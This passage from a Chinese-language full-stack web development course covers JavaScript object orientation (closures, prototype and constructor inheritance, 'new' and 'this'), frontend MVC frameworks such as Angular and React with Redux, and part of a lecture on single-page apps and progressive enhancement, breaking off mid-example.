而无论是和用户，还是和服务端的交互，都是学习前端技术中需要领会的部分。和用户的交互要求开发前端的程序员具备产品思维，而和服务端的交互则要求开发前端的程序员具备工程思维。

一头是用户，另一头是后端工程师，前端的开发人员，在整个庞大的研发体系中，既像粘合剂，又像润滑剂，要从产品和工程两个视角去思考问题，作出判断；不但要交付实实在在的功能，要引导好的工程架构，还要给用户带来优秀的产品体验。

总结思考

今天我们首先强调了对于基于 Web 的全栈学习来说，学习前端技术的重要性，接着我们介绍了前端思维的几个转变，特别是事件驱动编程。希望你已经了解了 JavaScript 的单线程运行机制，并能够慢慢习惯不断在代码中与异步和回调打交道。

下面留两个思考问题：

你在技术团队中主要扮演什么角色，你对前端技术的认识是怎样的？

为什么 JavaScript 中，没有像 Java 或 Python 一样的 sleep 方法？毕竟，我就是想让当前执行过程稍等一下，再继续后面的逻辑，有 sleep 的话多方便啊。

最后，我想说的是，以前有句话叫做，“狗拿耗子，多管闲事”，但是我们在学习前端技术的时候，却要反过来，我们不但要多管闲事，还要“越管越多”，要多去想想类似的后端技术是怎样实现的。那在学习后端技术的时候，道理也是一样的，也要联想。

无论是早些年的 GWT，后端 Java 程序员写出了优秀的基于 Ajax 的跨浏览器应用；还是这些年的 Node.js，利用强大的 V8 引擎把数不清的 JavaScript 异步回调也写到后端去……技术是没有边界的，前端和后端的技术当然也包括在内。

好，今天的内容就到这里，欢迎你和我讨论，也欢迎你邀请你的朋友一起阅读、学习。

扩展阅读

你可能听过这样一句话，“任何能用 JavaScript 写的应用，最终都会用 JavaScript 来实现。”这句话最初来自 The Principle of Least Power 这篇文章，写于 2007 年。

有位工程师做了一个名为 Loupe 的网站，用动画来形象地展示事件循环的过程，本文的例子也可以在它上面运行。

为什么浏览器中 JavaScript 代码的执行设计成单线程的，还有一个文中没有提到的原因，就是多线程的 GUI 特别容易死锁。这篇文章 Multithreaded toolkits: A failed dream? 描述了其中的缘由，大致是说 GUI 的行为大多都是从更高层的抽象一层一层往下调用到更低层的抽象、具体工具类实现，再到操作系统；而事件则是反过来，从下往上冒泡。结果就是两个方向相反的行为在碰头，给资源加锁的时候一个正序，一个逆序，极其容易出现互相等待而饿死的情况，而这种情况下要彻底解决这一问题的难度无异于“逆转潮汐”。

浏览器的工作原理：新式网络浏览器幕后揭秘，这可能是在互联网上流传最广泛地介绍浏览器工作原理的中文文章，非常推荐。

15 | 重剑无锋，大巧不工：JavaScript面向对象

你好，我是四火。

JavaScript 的设计和编程能力可以说是前端工程师的修养之一，而 JavaScript 面向对象就是其中的一个重要组成部分。

我相信对于后端开发来说，面向对象的编程能力是一个程序员必须要熟练掌握的基本技能；而对于前端开发，很多项目，甚至在很多知名互联网公司的项目中，很遗憾，这部分都是缺失的，于是我们看到大量的一个一个散落的方法，以及一堆一堆难以理解的全局变量，这对系统的扩展和维护简直是噩梦。

“好的软件质量是设计出来的”，这个设计既包括宏观的架构和组件设计，也包括微观的代码层面的设计。在这一讲中，我们将学习 JavaScript 面向对象的基本知识和技巧，提升代码层面的面向对象设计和编码能力。

首先，我们将通过面向对象的三大特征，结合实例，介绍 JavaScript 面向对象的知识：封装、继承以及多态。

1. 封装

在面向对象编程中，封装（Encapsulation）说的是一种通过接口抽象将具体实现包装并隐藏起来的方法。具体来说，封装的机制包括两大部分：

限制对对象内部组件直接访问的机制；

将数据和方法绑定起来，对外提供方法，从而改变对象状态的机制。

在 Java 中，在类中通过 private 或 public 这样的修饰符，能够实现对对象属性或方法不同级别的访问权限控制。但是，在 JavaScript 中并没有这样的关键字，但是，通过一点小的技巧，就能让 JavaScript 代码支持封装。

直到 ES6（ECMAScript 6）以前，类（class）这个概念在 JavaScript 中其实不存在，但是 JavaScript 对函数（function）有着比一般静态语言强大得多的支持，我们经常利用它来模拟类的概念。现在，请你打开 Chrome 的开发者工具，在控制台上贴上如下代码：

function Book(name) {

    this.name = name;

}

console.log(new Book("Life").name);

你将看到控制台输出了 “Life”。从代码中可以看到，name 作为了 Book 这个类的构造函数传入，并赋值给了自己的 name 属性（它和入参 name 重名，但却不是同一个东西）。这样，在使用“Life”作为入参来实例化 Book 对象的时候，就能访问对象的 name 属性并输出了。

但是，这样的 name 属性，其实相当于公有属性，因为外部可以访问到，那么，我们能够实现私有属性吗？当然，请看这段代码 ：

function Book(name) {

    this.getName = () => {

        return name;

    };

    this.setName = (newName) => {

        name = newName;

    };

}

let book = new Book("Life");

book.setName("Time");

console.log(book.getName()); // Time

console.log(book.name); // 无法访问私有属性 name 的值

上面的代码中，有两处变化，一个是使用了 () => {} 这样的语法代替了 function 关键字，使得其定义看起来更加简洁，但是表达的含义依然是函数定义，没有区别；第二个是增加了 getName() 和 setName() 这样的存取方法，并且利用闭包的特性，将 name 封装在 Book 类的对象中，你无法通过任何其它方法访问到私有属性 name 的值。

这里介绍闭包（Closure），我想你应该听说过这个概念。闭包简单说，就是引用了自由变量的函数。这里的关键是“自由变量”，其实这个自由变量，扮演的作用是为这个函数调用提供了一个“上下文”，而上下文的不同，将对入参相同的函数调用造成不同的影响，它包括：

函数的行为不同，即函数调用改变其上下文中的其它变量，如例子中的 setName()；

函数的返回值不同，如例子中的 getName()。

和闭包相对的，是一种称为“纯函数”（Pure Function）的东西，即函数不允许引用任何自由变量。因此，和上面两条“影响”对应，纯函数的调用必须满足如下特性：

函数的调用不允许改变其所属的上下文；

相同入参的函数调用一定能得到相同的返回值。

读到这里，你是否想到了 [第 04 讲] 中我们将 HTTP 的请求从两个维度进行划分，即是否幂等，是否安全；在 [第 08 讲] 中我们对 CQRS 依然从这样两个维度进行划分，并作了分析。今天，我们还做相同的划分。

闭包的调用是不安全的，因为它可能改变对象的内部属性（闭包的上下文）；同时它也不是幂等的，因为一次调用和多次调用可能产生不同的结果。

纯函数的调用是安全的，也是幂等的。

于是，我们又一次发现，技术是相通，是可以联想和类比的。本质上，它们围绕的都是一个方法（函数）是否引用和改变外部状态的问题。闭包本身是一个很简单的机制，但是，它可以带来丰富的语言高级功能特性，比如高阶函数。

2. 继承

在面向对象编程中，继承（Inheritance）指的是一个对象或者类能够自动保持另一个对象或者类的实现的一种机制。我们经常讲的子类具备父类的所有特性，只是继承中的一种，叫做类继承；其实还有另一种，对象继承，这种继承只需要对象，不需要类。

在 ES6 以前，没有继承（extends）关键字，JavaScript 最常见的继承方式叫做原型链继承。原型（prototype）是 JavaScript 函数的一个内置属性，指向另外的一个对象，而那个对象的所有属性和方法，都会被这个函数的所有实例自动继承。

因此，当我们对那个原型指向的对象做出任何改变，这个函数的所有实例也将发生相同的改变。这样原型的设计在常见的静态语言中并不常见。当然，它在实现的效果上和静态语言中的“类属性 / 类方法”有一点儿相似。

function Base(name) {

    this.name = name;

}

function Child(name) {

    this.name = name;

}

Child.prototype = new Base();

var c = new Child("Life");

console.log(c.name); // "Life"

console.log(c instanceof Base); // true

console.log(c instanceof Child); // true

请看上面的例子，通过将子类 Child 的原型 prototype 设置为父类的对象，就完成了 Child 继承 Base 的关联，之后我们再判断 Child 的对象 c，就发现它也是 Base 的对象。请注意这样两个要点：

设置 prototype 的语句一定要放到 Base 和 Child 两个构造器之外；

并且要放在实例化任何子类之前。

上面这两条原则非常重要，缺一不可。如果违背第一个要点，即把 prototype 的设置放到子类的里面，变成这样：

function Child(name) {

    Child.prototype = new Base();

    this.name = name;

}

这是完全错误的，每次 Child 在构建的过程中，原型被破坏并重建一次，这可不只是一个资源浪费、状态丢失的问题。由于原型是实例辨识运算 instanceof 的依据，因此它还会影响 JavaScript 引擎对 instanceof 的判断：

var c = new Child("Life");

console.log(c instanceof Base); // false

console.log(c instanceof Child); // false

你看，c 现在不但不是 Base 的实例，甚至也不是 Child 的了。

还有些程序员违反了上面说的第二个要点，即搞错了顺序：

var c = new Child("Life");

Child.prototype = new Base();

后面的判断也出现了错误：

console.log(c instanceof Base); // false

console.log(c instanceof Child); // false

因为 Child 的原型在 c 生成之后发生了破坏并重建，因此无论 Base 还是 Child，都已经和 c 没有关联了。

你再仔细想想的话，你还会发现原型链继承有一个解决不了的问题，即父类的构造方法如果包含参数，就无法被完美地继承下来。比如上例中的 name 构造参数，传入后赋值给对象的操作不得不在子类中重做了一遍。于是，我们引出另一种常见的 JavaScript 实现继承的方式——构造继承。

function Base1(name) {

    this.name = name;

}

function Base2(type) {

    this.type = type;

}

function Child(name, type) {

    Base1.call(this, name); // 让 this 去调用 Base1，并传入参数 name

    Base2.call(this, type);

}

var c = new Child("Life", "book");

console.log(c.name); // "Life"

console.log(c instanceof Base1); // false

console.log(c instanceof Child); // true

你看，这种方法就能够保留父类对于构造器参数的处理逻辑，并且，我们居然还不知不觉地实现了多重继承！但是，缺点也很明显，使用 instanceof 方法判断的时候，发现子类对象 c 并非父类实例，并且，当父类的 prototype 还有额外属性和方法的时候，它们也无法通过构造继承被自动搬到子类里来。

3. 多态

在面向对象编程中，多态（Polymorphism）指的是同样的接口，有着不同的实现。在 JavaScript 中没有用来表示接口的关键字，但是通过在不同实现类中定义同名的方法，我们可以轻易做到多态的效果，即同名方法在不同的类中有不同的实现。而由于没有类型和参数的强约束，它的灵活性远大于 Java 等静态语言。

理解对象创建

在对面向对象的三大特征有了一定的理解之后，我们再来看看实际的对象创建。你可能会说，对象创建不是一件很简单的事儿吗，有什么可讲的？

别急，JavaScript 和一般的静态语言在对象创建上有着明显的不同，JavaScript 奇怪的行为特别多，还是让我们来看看吧。

在 Java 等多数静态语言中，是使用 new 关键字加基于类名的方法调用来创建对象，但是如果不使用 new 关键字，只使用基于类名的方法调用，则什么都不是，编译器直接报错。但是 JavaScript 不同，我们对于类的概念完全是通过强大的函数特性来实现的，先看下面这个容易混淆函数调用和对象创建的例子：

function Book(name) {

    this.name = name;

    return this;

}

console.log(new Book("Life").name); // 输出 Life

console.log(Book("Life").name); // 也输出 Life

你看，在 Book() 中，我们最终返回了 this，这就让它变得模糊，这个 Book() 到底是类的定义，还是普通函数（方法）定义？

代码中使用 this 关键字来给对象自己赋值，看起来 Book 应该是类，那么 Book() 其实就是类的构造器，而这个赋值是完成对象创建的一部分；

可是它居然又有返回（return 语句），那么从这个角度看，Book 应该是普通函数定义，函数调用显式返回了一个对象。

于是，我们从上述最下面的两行代码中看到，无论使用 new 来创建对象，还是不使用 new，把它当成普通方法调用，都能够获得对象 name 属性的值“Life”，因此看起来用不用 new 似乎没有区别嘛？

其实不然，没有区别只是一个假象。JavaScript 是一个特别善于创造错觉的编程语言，有许多古怪无比“坑”等着你去踩，而这只是其中一个。我们要来进一步理解它，就必须去理解代码中的 this，众所周知 this 可以看做是对象对于它自己的引用，那么我们在执行上述两步操作时，this 分别是什么呢？

function Book(name) {

    console.log(this);

    this.name = name;

    return this;

}

new Book("Life"); // 打印 Book {}

Book("Life"); // 打印 Window { ... }

window.Book("Life") // 打印 Window { ... }

在这段代码中，我在 Book() 内部把 this 打印出来了。原来，在使用 new 的时候，this 是创建的对象自己；而在不使用 new 的时候，this 是浏览器的内置对象 window，并且，这个效果和使用 window 调用 Book() 是一样的。也就是说，当我们定义了一个“没有归属”的全局函数的时候，这个函数的默认宿主就是 window。

实际上，上述例子在使用 new 这个关键字的时候，JavaScript 引擎就帮我们做了这样几件事情。

第一件，创建一个 Book 的对象，我们把它叫做 x 吧。
第二件，绑定原型：x.proto = Book.prototype。
第三件，指定对象自己：this = x，并调用构造方法，相当于执行了 x.Book()。
第四件，对于构造器中的 return 语句，根据 typeof x === ‘object’ 的结果来决定它实际的返回：

如果 return 语句返回基本数据类型（如 string、boolean 等），这种情况 typeof x 就不是“object”，那么 new 的时候构造器的返回会被强制指定为 x；

如果 return 语句返回其它类型，即对象类型，这种情况 typeof x 就是“object”，那么 new 的时候会遵循构造器的实际 return 语句来返回。

前面三件其实很好理解，我们的试验代码也验证了；但是第四件，简直令人崩溃对不对？这是什么鬼设计，难道创建对象的时候，还要根据这个 return 值的类型来决定 new 的行为？

很遗憾，说对了……我们来执行下面的代码：

function Book1(name) {

    this.name = name;

    return 1;

}

console.log(new Book1("Life")); // 打印 Book1 {name: "Life"}

function Book2(name) {

    this.name = name;

    return [];

}

console.log(new Book2("Life")); // 打印 []

你看，Book1 的构造器返回一个基本数据类型的数值 1，new 返回的就是 Book1 的实例对象本身；而 Book2 的构造器返回一个非基本数值类型 []（数组），new 返回的就是这个数组了。

正是因为这样那样的问题，ES5 开始提供了严格模式（Strict Mode），可以让代码对一些可能造成不良后果的不严谨、有歧义的用法报错。

在实际项目中，我们应当开启严格模式，或是使用 TypeScript 这样的 JavaScript 超集等等替代方案。写 JavaScript 代码的时候，心中要非常明确自己使用 function 的目的，是创建一个类，是创建某个对象的方法，还是创建一个普通的函数，并且在命名的时候，根据项目的约定给予清晰明确的名字，看到名字就立即可以知道它是什么，而不需要联系上下文去推导，甚至猜测。

正确的代码是写给机器看的，但是优秀的代码是写给别的程序员看的。

总结思考

今天我们学习了 JavaScript 面向对象的实现方式和相关的重要特性，希望你能够掌握介绍到的知识点，通过思考和吸收，最终可以在项目中写出易于维护的高质量代码。现在，我想提两个问题，请你挑战一下：

在你经历的项目中，是否使用过面向对象来进行 JavaScript 编码，项目的代码质量是怎样的？

和静态语言不同的是，JavaScript 有好多种不同的方式来实现继承效果，除了文中介绍的原型链继承和构造继承以外，你是否还知道其它的 JavaScript 继承实现方式？

好，今天的内容就到这里。欢迎你在留言区和我讨论，也欢迎你把文章分享出去，和朋友一起阅读。

选修课堂：当函数成为一等公民

众所周知，有一种经典的学习一门新语言的方法是类比法，比如从 C 迁入 JavaScript 的程序员，就会不由自主地比较这两门语言的语法映射，从而快速掌握新语言的写法。

但是，仅仅通过语法映射的学习而训练出来的程序员，只是能写出符合 JavaScript 语法的 C 语言而已，本质上写的代码依然是 C。因此，在类比以外，我们还要思考和使用 JavaScript 不一样的核心特性，比如接下去要介绍的函数“一等公民”地位。

首先，我们需要理解，何为“函数成为一等公民”。这指的是，函数可以不依附于任何类或对象等实体而独立存在，它可以单独作为参数、变量或返回值在程序中传递。

回想 Java 语言，如果 Book 这个类，有一个方法 getName()，这个方法必须依附于 Book 而存在，一般情况下必须使用 Book 或它的对象才能调用。这就是说，Java 中的函数或方法，无法成为一等公民。可 JavaScript 完全不同了，你可能还记得上文中出现了这样的调用：

Base1.call(this, name);

Base1 实际是一个函数，而函数的宿主对象 this 被当作参数传进去了，后面的 name 则是调用参数，这种以函数为核心的方法调用，在许多传统的静态语言中是很难见到的。我们来看一个更完整的例子：

function getName() {

    return this.name;

}

function Book(name) {

    this.name = name;

}

let book = new Book("Life");

console.log(getName.call(book, getName)); // "Life"

你看，同样使用 function 关键字，getName 是函数（方法），Book 是书这个类，实例化得到 book 以后，通过 call 关键字调用，把 book 作为 getName() 的宿主，即其中的 this 传入，得到了我们期望的值“Life”。

上面就是对于函数成为一等公民的一个简单诠释：以往我们只能先指定宿主对象，再来调用函数；现在可以反过来，先指定函数，再来选择宿主对象，完成调用。请注意，函数的调用必须要有宿主对象，如果你使用 null 或者 undefined 这样不存在的对象，window 会取而代之，被指定为默认的宿主对象。

扩展阅读

对于系统地学习 ES 6，推荐阅读阮一峰的翻译作品 ECMAScript 6 入门。

文中介绍了严格模式（Strict Mode），感兴趣的话可以看看 MDN 的介绍。

文章多次提到了静态语言和动态语言，我曾经写过一篇文章编程范型：工具的选择，对它们做了介绍，供你参考。

对于文中提到的 instanceof 运算符，如果你想了解它是怎样实现的，它和对象原型有何关系，请参阅 JavaScript instanceof 运算符深入剖析。

16 | 百花齐放，百家争鸣：前端MVC框架

你好，我是四火。

我在上一章讲到了 MVC 的原理，今天我来讲讲前端的 MVC 框架。这部分发展很快，它们比后端 MVC 框架出现得更晚，但是社区普遍更活跃。

我们在学习的过程中，需要继续保持深度和广度的均衡，既要对自己熟悉的那一款框架做深入了解，知道它的核心特性，明白其基本实现原理，对于其优劣有自己的想法；也要多了解了解这个技术的百花园，看看别的框架是什么，想想有什么优势和缺点，拓宽视野，为自己能够做出合理的技术选型而打下扎实的基础。

前端 MVC 的变革

让我们来回想一下，在 [第 07 讲] 中，介绍过的 MVC 架构。实际上，我们可以把前端的部分大致归纳到视图层内，可它本身，却还可以按照 MVC 的基本思想继续划分。这个划分，有些遵循着 MVC 两个常见形式之一，有些则遵循着 MVC 的某种变体，比如 MVVM。

我们都知道前端技术的基础是 HTML、CSS 和 JavaScript，可随着技术的发展，它们在前端技术分层中的位置是不断变化的。

在前端技术发展的早期，Ajax 技术尚未被发明或引进，页面是一次性从服务端生成的，即便有视图层的解耦，页面聚合也是在服务端生成的（如果忘记了服务端的页面聚合，请回看 [第 09 讲]）。也就是说，整个页面一旦生成，就可以认为是静态的了。

在这种情况下，如果单独把前端代码的组织也按照 MVC 架构来划分，你觉得 HTML 到底算模型层还是视图层？

有人说 ，是模型层，因为它承载了具备业务含义的文本和图像等资源，是数据模型的载体，它们是前端的血和肉；

有人说，是视图层，因为它决定了用户最后看到的样子，至于 CSS，它可以决定展示的“部分”效果，但却不是必须的（即便没有 CSS，页面一样可以展示）。

其实，这两种说法都部分正确。毕竟，如果采用服务端聚合，等浏览器收到了响应报文，从前端的角度来看，模型和呈现实际已经融合在一起了，很难分得清楚。

等到 Ajax 技术成熟，客户端聚合发展起来了，情况忽然就不一样了。代表视图的 HTML 模板和代表数据的 JSON 报文，分别依次抵达浏览器，JavaScript 再把数据和模板聚合起来展示，这时候这个过程的 MVC 分层就很清晰了。

曾经 jQuery 是最流行的 JavaScript 库，但是如今随着前端业务的复杂性剧增，一个单纯的库已经不能很好地解决问题，而框架开始扮演更重要的地位，比如大家常常耳闻的前端新三驾马车 Vue.js, Anuglar 和 React。

Angular

对于现代 MVC 框架的介绍，我将用两个框架来举例。前端框架那么多，希望你的学习不仅仅是知识的堆砌，而是可以领会一些有代表性的玩法，能有自己的解读。第一个是 Angular，我们来看看它的几个特性。

1. 双向绑定

曾经，写前端代码的时候，数据绑定都是用类似于 jQuery 绑定的方式来完成的，但是，有时候视图页面的数值变更和前端模型的数据变更，这两个变更所需的数据绑定是双向的，这就会引发非常啰嗦的状态同步：

数据对象发生变更以后，要及时更新 DOM 树；

用户操作改变 DOM 树以后，要回头更新数据对象。

比方说，在 JavaScript 中有这样一个数据对象，一本书：

book = {name: "Steve Jobs Biography"}

在 HTML 中有这样的 DOM 元素：

<input id="book-input" type="text" ... />

<label id="book-label" ...></label>

我们需要把数据绑定到这样的 DOM 对象上去，这样，在数据对象变更的时候，下面这两个 DOM 对象也会得到变更，从而保证一致性：

$("#book-input").val(book.name);

$("#book-label").text(book.name);

相应地，我们还需要些绑定语句来响应用户对 book-input 这个输入框的变更，同步到 book-label 和 JavaScript 的 book 对象上去：

$("#book-input").keydown(function(){

    var data = $(this).val();

    $("book-label").text(data);

    book.name = data;

});

你可以想象，当这样的关联变更很多的时候，类似的样板代码该有多少，复杂度和恶心程度该有多高。

于是 Angular 跳出来说，让我们来使用双向绑定解决这个问题吧。无论我们“主动”改变模型层的业务对象（book 对象），还是视图层的这个业务对象的展示（input 标签），都可以自动完成模型层和视图层的同步。

实现方法呢，其实只有两步而已。首先模型层需要告知 DOM 受到哪个控制器控制，比如这里的 BookController，然后使用模板的方式来完成从模型到视图的绑定：

<div ng-app ng-controller="BookController">

    <input type="text" value="{{book.name}}" />

    <label>{{book.name}}</label>

</div>

接着在 JavaScript 代码中定义控制器 BookController，将业务对象 book 绑定到 $scope 以暴露出去：

function BookController($scope) {

    $scope.book = {name : "Steve Jobs Biography"};

}

你看，这样 label、input 和 $scope.book 这三者就同步了，这三者任一改变，另两者会自动同步，保持一致。这大大简化了复杂绑定行为的代码，尽可能地将绑定的命令式代码移除出去，而使用声明式代码来完成绑定的关联关系的定义。

2. 依赖注入

你可能还记得我们在 [第 11 讲] 中介绍过依赖注入，在前端，借助 Angular 我们也可以做到，比如下面的例子：

function BookController($scope, $http) {

  $http.get('/books').success(function(data) {

    $scope.books = data;

  });

}

你看，无论是 $scope 还是 $http 模块，写业务代码的程序员都不需要关心，只需要直接使用即可，它们被 Angular 管理起来并在此注入。这个方法，是不是很像我们介绍过的 Spring 对对象的管理和注入？

3. 过滤器

注意，这是 Angular 的过滤器，并不是我们之前讲到的 Servlet Filter。

过滤器是个很有趣的特性，让人想起了管道编程。你大概也发现 Angular 真是一个到处“抄袭”，哦不，是“借鉴”各种概念和范型的东西，比如依赖注入抄 Spring，标签定义抄 Flex，过滤器抄 Linux 的管道。从一定角度来说，还是那句话，技术都是相通的。比如：

{{ book.name | uppercase | replace:' ':'_'  }}

你看，这就是把书名全转成大写，再把空格用下划线替换。我觉得这”管道“用得就很酷了。它的一大意义是，业务对象到视图对象的转换，被这样简单而清晰的方式精巧地解决了。

React + Redux

这两个放到一起说，是因为 React 其实只是一个用户界面的库，它的组件化做得特别出色，但本身的贡献主要还是在视图层；而 Redux 是一个 JavaScript 状态容器，提供可预测的状态管理能力。有了 Redux，才能谈整个 MVC 框架。

1. JSX

没有 JSX 的话 React 也能工作，但是如果没有 JSX，React 会变得索然无味许多，JSX 是 React 带来的最有变革意义的部分。比如这样一个简单的 JSX 文件：

class BookInfo extends React.Component {

  render() {

    return (

      <div>{this.props.name}</div>

    );

  }

}

ReactDOM.render(

  <BookInfo name="Steve Jobs Biography" />,

  document.getElementById('book-info')

);

前半部分定义了一个输出图书信息的组件 BookInfo，内容很容易理解；后半部分则是将这个组件渲染到指定的 DOM 节点上。<div>{this.props.name}</div> 这个东西，如果你初次见到，可能会感到新奇：

看起来像是 HTML，可是居然放在 JavaScript 代码里返回了；

也没有使用双引号，因此看起来也不像是单纯的字符串。

没错，它二者都不是，而是 JavaScript 的一种语法扩展。

我们总在说解耦，于是我们把用于呈现的模板放到 HTML 里，把和模板有关的交互逻辑和数据准备放到 JavaScript 里（这被称为“标记和逻辑的分离”）。

可是越来越多的程序员发现，这样的解耦未必总能带来“简化”，原因就在呈现模板本身，还有为了最终呈现而写的渲染逻辑，二者有着紧密的联系，脱离开模板本身的渲染逻辑，没有存在的价值，也难以被阅读和理解。

既然这样，那为什么还要把它们分开呢？

原来，它们分开的原因并不仅仅是为了分层解耦本身，还因为当时承载技术发展的限制。还记得我们谈到过的声明式和命令式代码的区别吗？两种不同的编程范式，由于技术等种种限制，就仿佛井水不犯河水，二者采用的技术是分别发展的。

如今，大胆的 JSX 反其道而行，把呈现和渲染逻辑放在了一起，并且，它还没有丢掉二者自身的优点。比如说，整体看 JSX 内跑的是 JavaScript 代码，但是嵌入在 JSX 中的 HTML 标签依然可以以它原生的结构存放，支持 JSX 的开发工具也可以实时编译并告知 HTML 标签内的错误。换言之，JSX 中的“HTML 标签”它依然是具有结构属性的 HTML，而不是普通字符串！

并且，这两者放到一起以后，带来了除了内聚性增强以外的其它好处。比如说，测试更加方便，所有的呈现代码都可以作为 JavaScript 的一部分进行测试了，这大大简化了原本需要针对 HTML 而进行单独的打桩、替换、变化捕获而变得复杂的测试过程。

2. Redux 对状态的管理

复杂前端程序的一大难题是对于状态的管理，本质上这种状态的不可预知性是由前端天然的事件驱动模型造成的（如有遗忘，请回看 [第 14 讲]），它试图用一种统一的模式和机制来简化状态管理的复杂性，达到复杂系统状态变化“可预测”的目的。

下面我通过一个最简单的例子，结合图示，来把这个大致过程讲清楚。

首先，最核心的部分，是图中右侧是 Store，它是唯一一个存储状态的数据来源，要获知整个系统的状态，只要把握住 Store 的状态就可以了。假设一开始存放了两本书。

在图中的最下方，由 View 来展现数据，这部分我们已经很熟悉了，根据 Store 的状态，视图会展示相应的内容。一旦 Store 的状态有了更新，View 上会体现出来，这个数据绑定后的同步由框架完成。一开始，展示的是书的数量 2。

这时，用户在 View 上点击了一个添加书本的按钮，一个如下添加书本的 Action 对象生成，发送（dispatch）给 Reducer：

{ type: 'ADD_BOOK', amount: 1 }

Reducer 根据 Action 和 Store 中老的状态，来生成新的状态。它接收两个参数，一个是当前 Store 中的状态 state，再一个就是上面的这个 action，返回新的 state：

(state = 0, action) => {

  switch (action.type) {

    case 'ADD_BOOK':

      return state + action.amount;

    default:

      return state;

  }

};

于是，Store 中的 state 由 2 变成了 3，相应地，View 展示的图书数量也得到了更新。

那为什么 Redux 能将复杂的状态简化？我觉得有这么几个原因：

整个流程中数据是单向流动的，状态被隔离，严格地管理起来了，只有 Store 有状态，这就避免了散落的状态混乱而互相影响。

无论多么复杂的 View 上的操作或者事件，都会统一转换成若干个 Redux 系统能够识别的 Action。换句话说，不同的操作，只不过引起 Action 的 type 不同，或者上面承载的业务数据不同。

Reducer 是无状态的，它是一个纯函数，但它的职责是根据 Action 和 Store 中老的状态来生成新的状态。这样，Store 中状态的改变也只有一个来源，就是 Reducer 的操作。

总结思考

今天我们学习了从前端的角度怎样理解 MVC 架构，特别学习了 Angular 和 React + Redux 两个实际框架的具有代表性的特性。

下面，留两个思考题给你：

问题一：你在项目中是否使用过前端 MVC 框架，你觉得它带来了什么好处和坏处？

问题二：案例判断。

我们曾经学过要解耦，把行为从 HTML 中分离出去，比如这样的代码：

<img onclick="setImage()">

我们说它“不好”，因为点击行为和视图展现耦合在一起了，因此我们使用 jQuery 等工具在 JavaScript 中完成绑定，才最终把它移除出去，完成了“解耦”。

可是，作为现代的 JavaScript 框架，Angular 却又让类似的代码回来了：

<img ng-click="setImage()">

对此，你怎么看，你觉得它会让代码结构和层次变得更好，还是更糟？

好，今天就到这里，欢迎你打卡，把你的总结或者思考题的答案，分享到留言区，我们一起讨论。

扩展阅读

和其它技术相比，Angular 的中文站做得非常出色，关于 Angular 的中文教程到上面去找就好了。

对于 React 的学习，官方的中文翻译文档是非常适合的起点；对于 Redux 的学习，请参考 Redux 中文文档。

【基础】文中提到了 jQuery，我相信很多前端程序员对它很熟悉了，它在前端开发中的地位无可替代，它是如此之好用和通用，以至于让一些程序员患上了“jQuery 依赖症”，离开了它就不会写 JavaScript 来操纵 DOM 了。我们当然不鼓励任何形式的“依赖症”，但我们确实需要学好 jQuery，廖雪峰的网站上有一个简短的入门。

Chrome 开发者工具的命令行 API，熟知其中的一些常用命令，可以非常方便地在 Chrome 中定位前端问题，其中选择器的语法和 jQuery 非常相似。

17 | 不一样的体验：交互设计和页面布局

你好，我是四火。

前几讲我们一直在 JavaScript 的代码中游走，这一讲我们来换换脑子，聊一聊界面设计，讲一讲交互和布局。这部分对于基于 Web 的全栈工程师来说，不只是技术栈特殊的一部分，还是一个能够给个人发展格局带来更多可能的部分。

1. 单页面应用

SPA，Single-Page Application，即单页应用，是一种互联网应用在用户交互方面的模型。

用户打开一个页面，大部分操作都在单个页面里面完成。和传统的 MPA（Multiple-Page Application）相比，用户体验上，SPA 省去了页面跳转的突兀感受和等待时间，用户体验更加桌面化，操作迅速、切换无缝；软件架构上，SPA 可以更彻底地落实前后端分离，后端彻底变成了一个只暴露 API 的服务，将不同终端的视图层的工作，特别是页面聚合搬到前端来完成（如有遗忘请回看 [第 09 讲]）。

对于许多大型应用，SPA 和 MPA 往往是在一定程度上结合起来使用的，比如新浪微博的网页版，用户可以浏览时间线，并作出一些转发评论、媒体播放等等操作，但是也可以跳到单独的单条微博的页面去。

但 SPA 也有着先天的缺陷。比如说，网页的 SEO（Search Engine Optimization）就是一个例子，单页应用上的操作，引起页面的状态改变，很难被搜索引擎敏锐地捕获到，并使之成为“可搜索到的”，因此 SPA 页面的 SEO 需要做额外的工作，关于这部分我会在第五章中介绍一些相关知识。

再比如，浏览器上网页操纵的功能，像前进、后退的功能，也需要一些特别的技巧才能支持，毕竟，和互联网整体翻天覆地的改变相比，浏览器的核心设计一直以来都变化缓慢，而地址栏、页面控制功能等等可都不是为着 SPA 考虑的。最后，SPA 通常会伴随着大大增加的在线应用复杂程度。

2. 渐进式增强

渐进式增强，即 Progressive Enhancement，强调的是可访问性，即允许不同能力的设备都能够访问网页的基本内容，使用网页的基本功能；但是，当用户使用更加先进的设备时，它能够给用户带来更强大的功能和更好的体验。

举一个小例子，对于非常极端和基础的设备，网页可以只加载 HTML；更高级一点的设备，则可以加载 CSS；而对于多数高级设备，则还需加载 JavaScript。这三种设备都可以使用网站的核心功能，但是只有最后一类设备可以使用全部功能。当然，实际的增强效果递进未必会那么极端，对于每一个递进，可以只是部分样式，部分标签，部分脚本等等。

渐进式增强的理念不仅仅可以对不同设备的访问带来普适性，对低端设备的访问更为友好，它还有一些其它优势。比如说，立足于网页基础的 HTML，可以让网页对于搜索引擎更加友好，因为 CSS 样式和 JavaScript 行为不一定能被搜索引擎解释执行并收录。

在这个过程中，HTML 的语义化变得越来越重要。语义化，指的就是让 HTML 页面体现出内容的结构性，即让 HTML 具备自解释能力，而不是一堆冷冰冰的缺乏语义的标签。你看下面的例子：

<article>

  <h1>Article Title</h1>

  <p>This is the content. Please read <em>carefully</em>.</p>

</article>

其中的 article 标签，就是具备语义的，表示着其中的内容是一篇文章，我们当然可以使用没有语义的 div 标签来代替，但 article 标签可以让阅读代码的人，浏览器，以及搜索引擎理解这部分的内容。h1 标签表示标题，p 标签表示段落，而其中的 em 标签表示的是需要强调（如果想使用无语义的标签，可以使用斜体标签 i 来代替），这些用在这里都是具备恰当语义的。

和渐进式增强一起谈论的，还有一个相反过程的设计理念，叫做优雅降级，Graceful Degradation，本质上它们说的是一个事儿。

优雅降级指的是，当高级特性和增强内容无法在用户的设备上展现的时候，依然能够给用户提供一个具备基本功能的，可以工作的应用版本。值得注意的是，优雅降级并非一定发生在用户设备的能力不匹配时，还有可能发生在服务器端资源出现瓶颈的时候，比如某些访问量特别大或者系统出现问题的时刻，资源紧张，服务端可以关闭某一些次要功能，降低一些用户体验，用几种核心资源来保证基础功能的正常运行。

关于渐进增强和优雅降级，我来举一个 Amazon 网站设计的例子，希望它能帮助你进一步理解。如果你使用先进的 Web 浏览器访问 amazon.com，你会看到完整的功能：

